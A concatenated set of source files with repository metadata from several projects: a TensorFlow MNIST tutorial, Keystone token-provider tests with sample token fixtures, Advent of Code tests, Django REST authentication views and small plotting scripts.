# 贡献者:{沙舟} # 源代码出处:https://github.com/tensorflow/tensorflow/blob/r1.1/tensorflow/examples/tutorials/mnist/mnist_softmax.py # 数据集下载地址:http://yann.lecun.com/exdb/mnist/ (同时可查看数据格式) # 导入input_data.py文件,使用tensorflow.contrib.learn中的read-data_sets加载数据 import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data # 加载数据,"MNIST_data/"为路径,可自行更改,one_hot 独热,标记数组中的一个位0,其他为0,也就是统计中的虚拟编码 mnist = input_data.read_data_sets("/tmp/tensorflow/mnist/input_data", one_hot=True) # 构建回归模型,输入原始真实值(group truth),采用sotfmax函数拟合,并定义损失函数和优化器 # 定义回归模型 x = tf.placeholder(tf.float32, [None, 784]) W = tf.Variable(tf.zeros([784, 10])) b = tf.Variable(tf.zeros([10])) y = tf.matmul(x, W) + b # 预测值=矩阵运算(输入,权值) + 偏置 # 定义损失函数和优化器 y_ = tf.placeholder(tf.float32, [None, 10]) # 输入真实占位符 # 使用tf.nn.softmax_cross_entropy_with_logits计算预测值与真实值之间的差距 cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y)) # 使用梯度下降优化 train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy) # 训练模型 # 使用InteractiveSession()创建交互式上下文tf会话,这里的会话是默认 # 在tf.Tensor.eval 和tf.Operation.run中都可以使用该会话来运行操作(OP) sess = tf.InteractiveSession() # 注意:之前的版本中使用的是 tf.initialize_all_variables 作为初始化全局变量,已被弃用,更新后的采用一下命令 tf.global_variables_initializer().run() for _ in range(1000): batch_xs, batch_ys = mnist.train.next_batch(100) sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys}) # 模型评估 correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1)) # 计算预测模型和真实值 accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) # 布尔型转化为浮点数,并取平均值 ,得出准确率 # 计算模型在测试集上的准确率 并打印结果 print(sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels}))
[ "uMndS89d30xka" ]
uMndS89d30xka
6e8b7b00e25746669dc126955f812b503df3679f
13e946e64d8ff5b8c77025fcd9ec5c521b268951
/keyvalue/keyvalue_base.py
792d7854e3c59807e7f730cba63f1f6c55bc2ceb
[]
no_license
mattnunogawa/KeyValueModel
ba528fe41f37004c76c1e7dfa45e05787ece7432
3b576204e8959502f921c79ae829858b8bf84503
refs/heads/master
2021-01-20T00:40:48.993304
2010-10-22T06:12:33
2010-10-22T06:12:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,530
py
#!/usr/bin/env python # encoding: utf-8 """ keyvalue_base.py Created by Matt Nunogawa on 2010-10-08. Copyright (c) 2010 Matt Nunogawa. All rights reserved. """ ############################################################################### class KeyValueBaseClass: #pragma no cover """ Abstract superclass to interface to any kv backend (redis, riak, etc...) """ ########################################################################### def __init__(self): """ Constructor """ # subclasses should override pass ########################################################################### def exists(self, key): "returns True if the key exists, False otherwise" pass ########################################################################### def get(self, key): "Returns the value for the given key, or None if the key doesn't exist" # subclasses should override print self print key return None ########################################################################### def set(self, key, value): "Sets the value for the given key." print self print key print value # subclasses should override return "Attempting to use abstract base class" ########################################################################### def incr(self, key, inc_value=1): "if the key is an integer, increment by inc_value" pass
79aeb64c7a1a6195394f59dab5b6e1bbe660c994
0b078cabaf42fea260d9400ce5d0e0f45a218729
/daal4py_vs_sklearn/utils.py
68fec8aa4753cd017fcd828ec26a5f728c88d343
[]
no_license
scikit-learn-inria-fondation/sklearn-benchmark
4205f0c0ecc2080850023a1a178dcb911cfb7010
817a7554853357a9ad51e15e2755757154f99fdf
refs/heads/master
2023-04-30T11:33:39.567660
2020-11-26T16:33:14
2020-11-26T16:33:14
269,797,620
0
1
null
2021-04-25T17:29:27
2020-06-05T22:40:14
Jupyter Notebook
UTF-8
Python
false
false
1,332
py
import numpy as np import matplotlib.pyplot as plt def plot(benchmark_result, split=None): df = benchmark_result estimators = df["algo"].unique() n_estimators = len(estimators) alldfs = [df[df["algo"] == val] for val in estimators] if split is not None: vals = df[split].unique() n_vals = len(vals) for i, estdf in enumerate(alldfs): alldfs[i] = [estdf[estdf[split] == val] for val in vals] else: n_vals = 1 alldfs = [[estdf] for estdf in alldfs] for i, estdfs in enumerate(alldfs): for j in range(len(estdfs)): alldfs[i][j] = alldfs[i][j][["n_samples", "n_features", "speedup"]].groupby(["n_samples", "n_features"]).last() fig, ax = plt.subplots(n_estimators, n_vals, figsize=(8*n_vals, 6*n_estimators)) if n_estimators == 1 and n_vals == 1: ax = np.array([[ax]]) elif n_estimators == 1: ax = np.array([ax]) elif n_vals == 1: ax = np.array([ax]).reshape(-1, 1) for i, estdfs in enumerate(alldfs): for j, df in enumerate(estdfs): df.plot.bar(ax=ax[i, j]) if split is not None: ax[i, j].set_title(f"{estimators[i]} | {split}={vals[j]}") else: ax[i, j].set_title(f"{estimators[i]}") fig.tight_layout()
7ccf17f69b05cffda19a77d983827f3d96a78259
887371724feac0c71d6112e8a00e436a9ad3aa92
/keystone/keystone/tests/unit/test_token_provider.py
b79be2e5200a2ebe960a6b920d2bd74c9a702b92
[ "Apache-2.0" ]
permissive
sreenathmenon/openstackAuth
eb6e4eb2f8c2f619d8c59e0c0a79a2f6c177740f
f2a5f641103ebd4750de210ec1f3df5600f3ba19
refs/heads/master
2021-01-20T21:34:41.243654
2017-08-30T14:25:48
2017-08-30T14:25:48
101,769,285
0
1
null
null
null
null
UTF-8
Python
false
false
29,863
py
# Copyright 2013 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import datetime from oslo_config import cfg from oslo_utils import timeutils from keystone.common import dependency from keystone.common import utils from keystone import exception from keystone.tests import unit from keystone.tests.unit.ksfixtures import database from keystone import token from keystone.token.providers import fernet from keystone.token.providers import pki from keystone.token.providers import pkiz from keystone.token.providers import uuid CONF = cfg.CONF FUTURE_DELTA = datetime.timedelta(seconds=CONF.token.expiration) CURRENT_DATE = timeutils.utcnow() SAMPLE_V2_TOKEN = { "access": { "trust": { "id": "abc123", "trustee_user_id": "123456", "trustor_user_id": "333333", "impersonation": False }, "serviceCatalog": [ { "endpoints": [ { "adminURL": "http://localhost:8774/v1.1/01257", "id": "51934fe63a5b4ac0a32664f64eb462c3", "internalURL": "http://localhost:8774/v1.1/01257", "publicURL": "http://localhost:8774/v1.1/01257", "region": "RegionOne" } ], "endpoints_links": [], "name": "nova", "type": "compute" }, { "endpoints": [ { "adminURL": "http://localhost:9292", "id": "aaa17a539e364297a7845d67c7c7cc4b", "internalURL": "http://localhost:9292", "publicURL": "http://localhost:9292", "region": "RegionOne" } ], "endpoints_links": [], "name": "glance", "type": "image" }, { "endpoints": [ { "adminURL": "http://localhost:8776/v1/01257", "id": "077d82df25304abeac2294004441db5a", "internalURL": "http://localhost:8776/v1/01257", "publicURL": "http://localhost:8776/v1/01257", "region": "RegionOne" } ], "endpoints_links": [], "name": "volume", "type": "volume" }, { "endpoints": [ { "adminURL": "http://localhost:8773/services/Admin", "id": "b06997fd08414903ad458836efaa9067", "internalURL": "http://localhost:8773/services/Cloud", "publicURL": "http://localhost:8773/services/Cloud", "region": "RegionOne" } ], "endpoints_links": [], "name": "ec2", "type": "ec2" }, { "endpoints": [ { "adminURL": "http://localhost:8080/v1", "id": "7bd0c643e05a4a2ab40902b2fa0dd4e6", "internalURL": "http://localhost:8080/v1/AUTH_01257", "publicURL": "http://localhost:8080/v1/AUTH_01257", "region": "RegionOne" } ], "endpoints_links": [], "name": "swift", "type": "object-store" }, { "endpoints": [ { "adminURL": "http://localhost:35357/v2.0", "id": "02850c5d1d094887bdc46e81e1e15dc7", "internalURL": "http://localhost:5000/v2.0", "publicURL": "http://localhost:5000/v2.0", "region": "RegionOne" } ], "endpoints_links": [], "name": "keystone", "type": "identity" } ], "token": { "expires": "2013-05-22T00:02:43.941430Z", "id": "ce4fc2d36eea4cc9a36e666ac2f1029a", "issued_at": "2013-05-21T00:02:43.941473Z", "tenant": { "enabled": True, "id": "01257", "name": "service" } }, "user": { "id": "f19ddbe2c53c46f189fe66d0a7a9c9ce", "name": "nova", "roles": [ { "name": "_member_" }, { "name": "admin" } ], "roles_links": [], "username": "nova" } } } SAMPLE_V3_TOKEN = { "token": { "catalog": [ { "endpoints": [ { "id": "02850c5d1d094887bdc46e81e1e15dc7", "interface": "admin", "region": "RegionOne", "url": "http://localhost:35357/v2.0" }, { "id": "446e244b75034a9ab4b0811e82d0b7c8", "interface": "internal", "region": "RegionOne", "url": "http://localhost:5000/v2.0" }, { "id": "47fa3d9f499240abb5dfcf2668f168cd", "interface": "public", "region": "RegionOne", "url": "http://localhost:5000/v2.0" } ], "id": "26d7541715a44a4d9adad96f9872b633", "type": "identity", }, { "endpoints": [ { "id": "aaa17a539e364297a7845d67c7c7cc4b", "interface": "admin", "region": "RegionOne", "url": "http://localhost:9292" }, { "id": "4fa9620e42394cb1974736dce0856c71", "interface": "internal", "region": "RegionOne", "url": "http://localhost:9292" }, { "id": "9673687f9bc441d88dec37942bfd603b", "interface": "public", "region": "RegionOne", "url": "http://localhost:9292" } ], "id": "d27a41843f4e4b0e8cf6dac4082deb0d", "type": "image", }, { "endpoints": [ { "id": "7bd0c643e05a4a2ab40902b2fa0dd4e6", "interface": "admin", "region": "RegionOne", "url": "http://localhost:8080/v1" }, { "id": "43bef154594d4ccb8e49014d20624e1d", "interface": "internal", "region": "RegionOne", "url": "http://localhost:8080/v1/AUTH_01257" }, { "id": "e63b5f5d7aa3493690189d0ff843b9b3", "interface": "public", "region": "RegionOne", "url": "http://localhost:8080/v1/AUTH_01257" } ], "id": "a669e152f1104810a4b6701aade721bb", "type": "object-store", }, { "endpoints": [ { "id": "51934fe63a5b4ac0a32664f64eb462c3", "interface": "admin", "region": "RegionOne", "url": "http://localhost:8774/v1.1/01257" }, { "id": "869b535eea0d42e483ae9da0d868ebad", "interface": "internal", "region": "RegionOne", "url": "http://localhost:8774/v1.1/01257" }, { "id": "93583824c18f4263a2245ca432b132a6", "interface": "public", "region": "RegionOne", "url": "http://localhost:8774/v1.1/01257" } ], "id": "7f32cc2af6c9476e82d75f80e8b3bbb8", "type": "compute", }, { "endpoints": [ { "id": "b06997fd08414903ad458836efaa9067", "interface": "admin", "region": "RegionOne", "url": "http://localhost:8773/services/Admin" }, { "id": "411f7de7c9a8484c9b46c254fb2676e2", "interface": "internal", "region": "RegionOne", "url": "http://localhost:8773/services/Cloud" }, { "id": "f21c93f3da014785854b4126d0109c49", "interface": "public", "region": "RegionOne", "url": "http://localhost:8773/services/Cloud" } ], "id": "b08c9c7d4ef543eba5eeb766f72e5aa1", "type": "ec2", }, { "endpoints": [ { "id": "077d82df25304abeac2294004441db5a", "interface": "admin", "region": "RegionOne", "url": "http://localhost:8776/v1/01257" }, { "id": "875bf282362c40219665278b4fd11467", "interface": "internal", "region": "RegionOne", "url": "http://localhost:8776/v1/01257" }, { "id": "cd229aa6df0640dc858a8026eb7e640c", "interface": "public", "region": "RegionOne", "url": "http://localhost:8776/v1/01257" } ], "id": "5db21b82617f4a95816064736a7bec22", "type": "volume", } ], "expires_at": "2013-05-22T00:02:43.941430Z", "issued_at": "2013-05-21T00:02:43.941473Z", "methods": [ "password" ], "project": { "domain": { "id": "default", "name": "Default" }, "id": "01257", "name": "service" }, "roles": [ { "id": "9fe2ff9ee4384b1894a90878d3e92bab", "name": "_member_" }, { "id": "53bff13443bd4450b97f978881d47b18", "name": "admin" } ], "user": { "domain": { "id": "default", "name": "Default" }, "id": "f19ddbe2c53c46f189fe66d0a7a9c9ce", "name": "nova" }, "OS-TRUST:trust": { "id": "abc123", "trustee_user_id": "123456", "trustor_user_id": "333333", "impersonation": False } } } SAMPLE_V2_TOKEN_WITH_EMBEDED_VERSION = { "access": { "trust": { "id": "abc123", "trustee_user_id": "123456", "trustor_user_id": "333333", "impersonation": False }, "serviceCatalog": [ { "endpoints": [ { "adminURL": "http://localhost:8774/v1.1/01257", "id": "51934fe63a5b4ac0a32664f64eb462c3", "internalURL": "http://localhost:8774/v1.1/01257", "publicURL": "http://localhost:8774/v1.1/01257", "region": "RegionOne" } ], "endpoints_links": [], "name": "nova", "type": "compute" }, { "endpoints": [ { "adminURL": "http://localhost:9292", "id": "aaa17a539e364297a7845d67c7c7cc4b", "internalURL": "http://localhost:9292", "publicURL": "http://localhost:9292", "region": "RegionOne" } ], "endpoints_links": [], "name": "glance", "type": "image" }, { "endpoints": [ { "adminURL": "http://localhost:8776/v1/01257", "id": "077d82df25304abeac2294004441db5a", "internalURL": "http://localhost:8776/v1/01257", "publicURL": "http://localhost:8776/v1/01257", "region": "RegionOne" } ], "endpoints_links": [], "name": "volume", "type": "volume" }, { "endpoints": [ { "adminURL": "http://localhost:8773/services/Admin", "id": "b06997fd08414903ad458836efaa9067", "internalURL": "http://localhost:8773/services/Cloud", "publicURL": "http://localhost:8773/services/Cloud", "region": "RegionOne" } ], "endpoints_links": [], "name": "ec2", "type": "ec2" }, { "endpoints": [ { "adminURL": "http://localhost:8080/v1", "id": "7bd0c643e05a4a2ab40902b2fa0dd4e6", "internalURL": "http://localhost:8080/v1/AUTH_01257", "publicURL": "http://localhost:8080/v1/AUTH_01257", "region": "RegionOne" } ], "endpoints_links": [], "name": "swift", "type": "object-store" }, { "endpoints": [ { "adminURL": "http://localhost:35357/v2.0", "id": "02850c5d1d094887bdc46e81e1e15dc7", "internalURL": "http://localhost:5000/v2.0", "publicURL": "http://localhost:5000/v2.0", "region": "RegionOne" } ], "endpoints_links": [], "name": "keystone", "type": "identity" } ], "token": { "expires": "2013-05-22T00:02:43.941430Z", "id": "ce4fc2d36eea4cc9a36e666ac2f1029a", "issued_at": "2013-05-21T00:02:43.941473Z", "tenant": { "enabled": True, "id": "01257", "name": "service" } }, "user": { "id": "f19ddbe2c53c46f189fe66d0a7a9c9ce", "name": "nova", "roles": [ { "name": "_member_" }, { "name": "admin" } ], "roles_links": [], "username": "nova" } }, 'token_version': 'v2.0' } SAMPLE_V3_TOKEN_WITH_EMBEDED_VERSION = { "token": { "catalog": [ { "endpoints": [ { "id": "02850c5d1d094887bdc46e81e1e15dc7", "interface": "admin", "region": "RegionOne", "url": "http://localhost:35357/v2.0" }, { "id": "446e244b75034a9ab4b0811e82d0b7c8", "interface": "internal", "region": "RegionOne", "url": "http://localhost:5000/v2.0" }, { "id": "47fa3d9f499240abb5dfcf2668f168cd", "interface": "public", "region": "RegionOne", "url": "http://localhost:5000/v2.0" } ], "id": "26d7541715a44a4d9adad96f9872b633", "type": "identity", }, { "endpoints": [ { "id": "aaa17a539e364297a7845d67c7c7cc4b", "interface": "admin", "region": "RegionOne", "url": "http://localhost:9292" }, { "id": "4fa9620e42394cb1974736dce0856c71", "interface": "internal", "region": "RegionOne", "url": "http://localhost:9292" }, { "id": "9673687f9bc441d88dec37942bfd603b", "interface": "public", "region": "RegionOne", "url": "http://localhost:9292" } ], "id": "d27a41843f4e4b0e8cf6dac4082deb0d", "type": "image", }, { "endpoints": [ { "id": "7bd0c643e05a4a2ab40902b2fa0dd4e6", "interface": "admin", "region": "RegionOne", "url": "http://localhost:8080/v1" }, { "id": "43bef154594d4ccb8e49014d20624e1d", "interface": "internal", "region": "RegionOne", "url": "http://localhost:8080/v1/AUTH_01257" }, { "id": "e63b5f5d7aa3493690189d0ff843b9b3", "interface": "public", "region": "RegionOne", "url": "http://localhost:8080/v1/AUTH_01257" } ], "id": "a669e152f1104810a4b6701aade721bb", "type": "object-store", }, { "endpoints": [ { "id": "51934fe63a5b4ac0a32664f64eb462c3", "interface": "admin", "region": "RegionOne", "url": "http://localhost:8774/v1.1/01257" }, { "id": "869b535eea0d42e483ae9da0d868ebad", "interface": "internal", "region": "RegionOne", "url": "http://localhost:8774/v1.1/01257" }, { "id": "93583824c18f4263a2245ca432b132a6", "interface": "public", "region": "RegionOne", "url": "http://localhost:8774/v1.1/01257" } ], "id": "7f32cc2af6c9476e82d75f80e8b3bbb8", "type": "compute", }, { "endpoints": [ { "id": "b06997fd08414903ad458836efaa9067", "interface": "admin", "region": "RegionOne", "url": "http://localhost:8773/services/Admin" }, { "id": "411f7de7c9a8484c9b46c254fb2676e2", "interface": "internal", "region": "RegionOne", "url": "http://localhost:8773/services/Cloud" }, { "id": "f21c93f3da014785854b4126d0109c49", "interface": "public", "region": "RegionOne", "url": "http://localhost:8773/services/Cloud" } ], "id": "b08c9c7d4ef543eba5eeb766f72e5aa1", "type": "ec2", }, { "endpoints": [ { "id": "077d82df25304abeac2294004441db5a", "interface": "admin", "region": "RegionOne", "url": "http://localhost:8776/v1/01257" }, { "id": "875bf282362c40219665278b4fd11467", "interface": "internal", "region": "RegionOne", "url": "http://localhost:8776/v1/01257" }, { "id": "cd229aa6df0640dc858a8026eb7e640c", "interface": "public", "region": "RegionOne", "url": "http://localhost:8776/v1/01257" } ], "id": "5db21b82617f4a95816064736a7bec22", "type": "volume", } ], "expires_at": "2013-05-22T00:02:43.941430Z", "issued_at": "2013-05-21T00:02:43.941473Z", "methods": [ "password" ], "project": { "domain": { "id": "default", "name": "Default" }, "id": "01257", "name": "service" }, "roles": [ { "id": "9fe2ff9ee4384b1894a90878d3e92bab", "name": "_member_" }, { "id": "53bff13443bd4450b97f978881d47b18", "name": "admin" } ], "user": { "domain": { "id": "default", "name": "Default" }, "id": "f19ddbe2c53c46f189fe66d0a7a9c9ce", "name": "nova" }, "OS-TRUST:trust": { "id": "abc123", "trustee_user_id": "123456", "trustor_user_id": "333333", "impersonation": False } }, 'token_version': 'v3.0' } def create_v2_token(): return { "access": { "token": { "expires": utils.isotime(timeutils.utcnow() + FUTURE_DELTA), "issued_at": "2013-05-21T00:02:43.941473Z", "tenant": { "enabled": True, "id": "01257", "name": "service" } } } } SAMPLE_V2_TOKEN_EXPIRED = { "access": { "token": { "expires": utils.isotime(CURRENT_DATE), "issued_at": "2013-05-21T00:02:43.941473Z", "tenant": { "enabled": True, "id": "01257", "name": "service" } } } } def create_v3_token(): return { "token": { 'methods': [], "expires_at": utils.isotime(timeutils.utcnow() + FUTURE_DELTA), "issued_at": "2013-05-21T00:02:43.941473Z", } } SAMPLE_V3_TOKEN_EXPIRED = { "token": { "expires_at": utils.isotime(CURRENT_DATE), "issued_at": "2013-05-21T00:02:43.941473Z", } } SAMPLE_MALFORMED_TOKEN = { "token": { "bogus": { "no expiration data": None } } } class TestTokenProvider(unit.TestCase): def setUp(self): super(TestTokenProvider, self).setUp() self.useFixture(database.Database()) self.load_backends() def test_get_token_version(self): self.assertEqual( token.provider.V2, self.token_provider_api.get_token_version(SAMPLE_V2_TOKEN)) self.assertEqual( token.provider.V2, self.token_provider_api.get_token_version( SAMPLE_V2_TOKEN_WITH_EMBEDED_VERSION)) self.assertEqual( token.provider.V3, self.token_provider_api.get_token_version(SAMPLE_V3_TOKEN)) self.assertEqual( token.provider.V3, self.token_provider_api.get_token_version( SAMPLE_V3_TOKEN_WITH_EMBEDED_VERSION)) self.assertRaises(exception.UnsupportedTokenVersionException, self.token_provider_api.get_token_version, 'bogus') def test_supported_token_providers(self): # test default config dependency.reset() self.assertIsInstance(token.provider.Manager().driver, uuid.Provider) dependency.reset() self.config_fixture.config(group='token', provider='uuid') self.assertIsInstance(token.provider.Manager().driver, uuid.Provider) dependency.reset() self.config_fixture.config(group='token', provider='pki') self.assertIsInstance(token.provider.Manager().driver, pki.Provider) dependency.reset() self.config_fixture.config(group='token', provider='pkiz') self.assertIsInstance(token.provider.Manager().driver, pkiz.Provider) dependency.reset() self.config_fixture.config(group='token', provider='fernet') self.assertIsInstance(token.provider.Manager().driver, fernet.Provider) def test_unsupported_token_provider(self): self.config_fixture.config(group='token', provider='my.package.MyProvider') self.assertRaises(ImportError, token.provider.Manager) def test_provider_token_expiration_validation(self): self.assertRaises(exception.TokenNotFound, self.token_provider_api._is_valid_token, SAMPLE_V2_TOKEN_EXPIRED) self.assertRaises(exception.TokenNotFound, self.token_provider_api._is_valid_token, SAMPLE_V3_TOKEN_EXPIRED) self.assertRaises(exception.TokenNotFound, self.token_provider_api._is_valid_token, SAMPLE_MALFORMED_TOKEN) self.assertIsNone( self.token_provider_api._is_valid_token(create_v2_token())) self.assertIsNone( self.token_provider_api._is_valid_token(create_v3_token())) def test_no_token_raises_token_not_found(self): self.assertRaises( exception.TokenNotFound, self.token_provider_api.validate_token, None) # NOTE(ayoung): renamed to avoid automatic test detection class PKIProviderTests(object): def setUp(self): super(PKIProviderTests, self).setUp() from keystoneclient.common import cms self.cms = cms from keystone.common import environment self.environment = environment old_cms_subprocess = cms.subprocess self.addCleanup(setattr, cms, 'subprocess', old_cms_subprocess) old_env_subprocess = environment.subprocess self.addCleanup(setattr, environment, 'subprocess', old_env_subprocess) self.cms.subprocess = self.target_subprocess self.environment.subprocess = self.target_subprocess reload(pki) # force module reload so the imports get re-evaluated def test_get_token_id_error_handling(self): # cause command-line failure self.config_fixture.config(group='signing', keyfile='--please-break-me') provider = pki.Provider() token_data = {} self.assertRaises(exception.UnexpectedError, provider._get_token_id, token_data) class TestPKIProviderWithEventlet(PKIProviderTests, unit.TestCase): def setUp(self): # force keystoneclient.common.cms to use eventlet's subprocess from eventlet.green import subprocess self.target_subprocess = subprocess super(TestPKIProviderWithEventlet, self).setUp() class TestPKIProviderWithStdlib(PKIProviderTests, unit.TestCase): def setUp(self): # force keystoneclient.common.cms to use the stdlib subprocess import subprocess self.target_subprocess = subprocess super(TestPKIProviderWithStdlib, self).setUp()
7b8a0c0097a4411fe4aff693db5c53f8219a6a18
cce98af180579461064a001e2c0d5a99ae760eb1
/test09.py
a0816f30066fafff4e32ae265662fd42406e9eda
[ "MIT" ]
permissive
OskarBreach/advent-of-code-2018
e7147526c417406dc2b1b9e5b911f8b3737c39c8
10887873d988df699e7ebe83d39511b3303ccf38
refs/heads/master
2020-04-09T05:55:37.773427
2018-12-17T13:41:37
2018-12-17T13:41:37
160,087,194
0
0
null
null
null
null
UTF-8
Python
false
false
2,208
py
import unittest from day09 import get_high_score, make_game_larger class TestMarbleGame(unittest.TestCase): def test_rubbish_input(self): self.assertEqual(0, get_high_score("")) def test_shortest_game(self): self.assertEqual(0, get_high_score("1 players; last marble is worth 0 points")) def test_shortest_scoring_game(self): self.assertEqual(32, get_high_score("1 players; last marble is worth 23 points")) def test_longer_scoring_game(self): self.assertEqual(95, get_high_score("1 players; last marble is worth 46 points")) def test_longer_scoring_game_two_players(self): self.assertEqual(63, get_high_score("2 players; last marble is worth 46 points")) def test_first_worked_example(self): self.assertEqual(8317, get_high_score("10 players; last marble is worth 1618 points")) def test_second_worked_example(self): self.assertEqual(146373, get_high_score("13 players; last marble is worth 7999 points")) def test_third_worked_example(self): self.assertEqual(2764, get_high_score("17 players; last marble is worth 1104 points")) def test_forth_worked_example(self): self.assertEqual(54718, get_high_score("21 players; last marble is worth 6111 points")) def test_fifth_worked_example(self): self.assertEqual(37305, get_high_score("30 players; last marble is worth 5807 points")) def test_make_game_larger(self): self.assertEqual("30 players; last marble is worth 580700 points", make_game_larger("30 players; last marble is worth 5807 points", 100)) def test_make_another_game_larger(self): self.assertEqual("17 players; last marble is worth 11040 points", make_game_larger("17 players; last marble is worth 1104 points", 10)) def test_make_garbage_game_larger(self): self.assertEqual("", make_game_larger("", 10)) def test_make_game_larger_by_not_mulitple_of_ten(self): self.assertEqual("13 players; last marble is worth 42 points", make_game_larger("13 players; last marble is worth 6 points", 7)) if __name__ == "__main__": unittest.main()
621d8be3c223c15cdd4a4422817a52204c59ad83
b068cfe63d245d481c313793bfe78347e4f9050f
/pingme/views.py
73ea454c7a58e1edf3cdc978fb44a3fc0439da82
[]
no_license
OfekAgmon/PingMeBackend
beb3ba8259aabe6a712f49e43830107f4e5c0dc2
b10eb2634e6febb52b56e05d2efe6b3dd8967f4d
refs/heads/master
2016-08-12T15:26:47.791932
2016-04-14T13:54:11
2016-04-14T13:54:11
51,575,815
0
0
null
null
null
null
UTF-8
Python
false
false
4,074
py
from django.http import HttpResponseBadRequest from rest_framework import mixins from rest_framework import viewsets from django.contrib.auth.models import User from rest_framework.authtoken.models import Token from rest_framework.authtoken.serializers import AuthTokenSerializer from rest_framework.decorators import list_route from rest_framework.views import APIView from pingme.serializers import UserSerializer, DeviceSerializer, LocationSerializer from pingme.permissions import IsCreationOrIsAuthenticated from pingme.models import Device, Location from rest_framework import status, parsers, renderers from rest_framework import permissions from rest_framework.response import Response # Create your views here. class UserViewSet(mixins.CreateModelMixin, mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet): queryset = User.objects.all() serializer_class = UserSerializer permission_classes = (IsCreationOrIsAuthenticated,) class LocationViewSet(viewsets.ModelViewSet): queryset = Location.objects.all() serializer_class = LocationSerializer permission_classes = (permissions.IsAuthenticated,) def get_queryset(self): if self.action == 'list': return Location.objects.exclude(user=self.request.user) else: return Location.objects.all() def perform_create(self, serializer): try: first_location = Location.objects.get(user=self.request.user) except Location.DoesNotExist: first_location = None if first_location is None: # first location serializer.save(user=self.request.user) return Response(serializer.data) else: return Response("location already exists", status=status.HTTP_400_BAD_REQUEST) class DeviceViewSet(viewsets.ModelViewSet): queryset = Device.objects.all() serializer_class = DeviceSerializer @list_route(methods=['put'], permission_classes=[permissions.IsAuthenticated],) def freeUser(self, request): try: device = Device.objects.get(user=self.request.user) except Device.DoesNotExist: device = None if device is None: return HttpResponseBadRequest() else: device.user = None device.save() return Response(status=status.HTTP_200_OK) class ObtainAuthTokenAndUser(APIView): throttle_classes = () permission_classes = () parser_classes = (parsers.FormParser, parsers.MultiPartParser, parsers.JSONParser,) renderer_classes = (renderers.JSONRenderer,) serializer_class = AuthTokenSerializer def post(self, request): serializer = self.serializer_class(data=request.data) try: serializer.is_valid(raise_exception=True) except Exception: # wrong username or password # return HttpResponseBadRequest("Wrong username or password") return HttpResponseBadRequest("שם משתמש או סיסמא לא נכונים") user = serializer.validated_data['user'] try: device_used = Device.objects.get(user=user) except Device.DoesNotExist: # user is logged in from another device device_used = None if device_used == None: # user is not logged in currently, login is OK, attach user to Device token, created = Token.objects.get_or_create(user=user) user_serializer = UserSerializer(user) dev_id = request.DATA.get('device_id', '0') device = Device.objects.get(device_id=dev_id) device.user = user device.save() return Response({'token': token.key, 'user': user_serializer.data}) else: # return HttpResponseBadRequest("User is logged in from another device") return HttpResponseBadRequest("משתמש מחובר ממכשיר אחר") obtain_auth_token_and_user = ObtainAuthTokenAndUser.as_view()
2b7102ab643452bc1b953138194999c4c510a881
566abf49a0fc8d9cb5495bbdc2c6d59daead7af2
/TestBed/boxplot.py
eaab94a4f6389fbd8f6bcdccd09295c48ba8b2b5
[]
no_license
maxiaoba/VehicleLowlevelControl
d8c64854a326355a49d3dd5f0e5514e29db16791
d74676e9e8215349568de8f91b2f19a87a35dfc4
refs/heads/master
2020-03-27T16:50:20.070677
2018-09-09T20:44:41
2018-09-09T20:44:41
146,809,642
0
0
null
null
null
null
UTF-8
Python
false
false
599
py
import matplotlib.pyplot as plt import numpy as np import os names = [] for policy in os.listdir("./Policy"): print(policy != '.DS_Store') if policy != '.DS_Store': names.append(policy[:-4:]) figureid = 1 data = [] for name in names: fig = plt.figure(figureid, figsize=(8, 6)) axes = plt.gca() axes.set_xlim([-1,1]) axes.set_ylim([-200,800]) data_i = np.loadtxt('Data/'+name+'_rewards_d_pareto10'+'.txt') data.append(data_i) plt.boxplot(data,labels=names) plt.title(name) plt.ylabel('single path undiscounted reward') figureid += 1 fig.savefig('Plot/'+'Pareto10'+'.png') plt.close(fig)
700a4a25c71dd7d76a06dcb92c29177e3572e344
ab7a69679ed942a8369779e1fd296b2889e860be
/dash/migrations/0002_tokens.py
1e6e6b2a5f057fd981e358ea4f23eeabc28d9847
[]
no_license
HridayHegde/django-dashboard-learn
9d7b6f20f5d1f06ce5f866d4a1ad4116afc93f4d
0c902b05d81a1f40508d2ca915d2c065c5d53843
refs/heads/master
2023-06-27T18:43:35.301854
2021-07-21T09:50:17
2021-07-21T09:50:17
382,824,528
0
0
null
null
null
null
UTF-8
Python
false
false
474
py
# Generated by Django 3.2.4 on 2021-07-07 07:16 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('dash', '0001_initial'), ] operations = [ migrations.CreateModel( name='tokens', fields=[ ('tokenid', models.AutoField(primary_key=True, serialize=False)), ('token_owner', models.CharField(max_length=400)), ], ), ]
14173b2b176c1d0839b1afa167b7a2936fcecbda
aac2ef65f5d5f8bbed750b4800314ff27b176219
/deeplarning/admin.py
2763a746db8f23a9c2c9cc574b1bbef88f5bd0f1
[]
no_license
monkey2nd/deep_site
0072158dfc0c9215ad46e5b7ab427b73f30c499a
19d94405eb681741c7909591f386bbe6c7142ce1
refs/heads/main
2023-03-18T09:25:42.421266
2021-01-09T14:37:23
2021-01-09T14:37:23
328,171,818
0
0
null
null
null
null
UTF-8
Python
false
false
127
py
from django.contrib import admin from .models import Check_photo # Register your models here. admin.site.register(Check_photo)
1bbd707f5dec0f1533f14c3912b13c676b6029be
22186193d8fb87a0e031d052c9eaa0f37711d9ba
/simd-toolchain/scripts/python/solver_program/solver_json_utils.py
65d6c8f89ad134d76f1ad2eab670b3e8b3bedfe3
[]
no_license
xytgeorge/EEES
808c584e6e74fe5131ecc120d7f54e6b93e19261
35b41ef9651fe4f98a00a7f9b3e7e635e332dc3d
